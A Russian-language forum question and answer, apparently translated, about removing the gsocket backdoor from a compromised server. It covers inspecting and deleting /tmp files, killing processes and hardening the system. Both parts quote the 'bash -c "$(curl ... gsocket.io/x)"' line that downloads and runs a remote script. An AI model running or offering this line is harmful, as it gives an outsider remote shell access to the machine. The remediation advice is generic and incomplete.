Вопрос или проблема
Сервер моего клиента был скомпрометирован. Они запускают этот скрипт
bash -c "$(curl -fsSL https://gsocket.io/x)"
и у меня есть несколько папок в /tmp, как указано ниже
-rw------- 1 *** *** 153310 30 Сен 12:07 phpb0wrlJ
-rw------- 1 *** *** 65536 29 Сен 13:50 phpc29KRO
-rw------- 1 *** *** 40960 30 Сен 12:43 phpdrvPac
-rw------- 1 *** *** 49152 29 Сен 14:30 phpOWdcZw
С этого ссылки я знаю, что мой сервер был скомпрометирован.
Как мне избавиться от gsocket? Удалить gsocket полностью?
Спасибо заранее.
Ответ или решение
К сожалению, ваш сервер подвергся компрометации из-за выполнения команды, которая загружает и исполняет скрипт из ненадежного источника – gsocket.io. Данная ситуация вызывает серьезные опасения, поскольку это может привести к утечке данных или дальнейшим взломам. В данном ответе мы подробно рассмотрим, как устранить угрозу и обеспечить безопасность вашего сервера.
1. Анализ ситуации
Выполнение команды:
bash -c "$(curl -fsSL https://gsocket.io/x)"
позволяет злоумышленнику загрузить и выполнить вредоносный сценарий в вашем окружении. Такие сценарии часто используют временные файлы, чтобы скрывать свои действия и создавать дополнительные точки доступа к системе.
2. Определение присутствия вредоносного кода
Существующие временные файлы в каталоге /tmp
(например, phpb0wrlJ
, phpc29KRO
и т.д.) могут содержать вредоносный код. Чтобы выяснить, какие именно данные находятся в этих файлах, выполните следующие шаги:
cat /tmp/phpb0wrlJ
Эту команду нужно выполнить для каждого временного файла, чтобы проанализировать его содержимое. Если файлы содержат PHP-код или другие подозрительные команды, это подтверждает наличие вредоносного ПО.
3. Удаление gsocket.io
Чтобы полностью устранить угрозу gsocket.io с вашего сервера, выполните следующие действия:
-
Удаление временных файлов:
Удалите все временные файлы, которые были созданы во время компрометации:rm -f /tmp/php*
-
Остановка процесса:
Просмотрите текущие процессы, чтобы определить, есть ли активные процессы gsocket.io:ps aux | grep gsocket
Если вы найдете подозрительные процессы, их можно остановить:
kill -9 <PID>
Замените
<PID>
на идентификатор процесса. -
Удаление вредоносных компонентов:
Проверьте наличие редактирования системы или установленных пакетов, связанных с gsocket.io. Выполните следующие команды для проверки установленных пакетов:dpkg -l | grep gsocket
Если пакет обнаружен, его следует удалить:
sudo apt remove <package-name>
4. Повышение безопасности сервера
После удаления угрозы важно укрепить безопасность вашего сервера:
-
Обновите программное обеспечение:
Убедитесь, что все пакеты и библиотеки обновлены до последних стабильных версий. -
Используйте файрвол:
Настройте файрвол (например, UFW или iptables) для ограничения доступа к серверу. -
Регулярные проверки и мониторинг:
Настройте системы мониторинга для отслеживания подозрительной активности и журналов. -
Создание резервных копий:
Регулярные резервные копии помогут в случае повторной компрометации.
Заключение
Ваша безопасность – это прежде всего забота. Важно не только удалить существующую угрозу, но и принять меры для предотвращения будущих атак. Применяйте проактивный подход к безопасности вашего сервера и всегда будьте осторожны с командами, которые выполняете из ненадежных источников.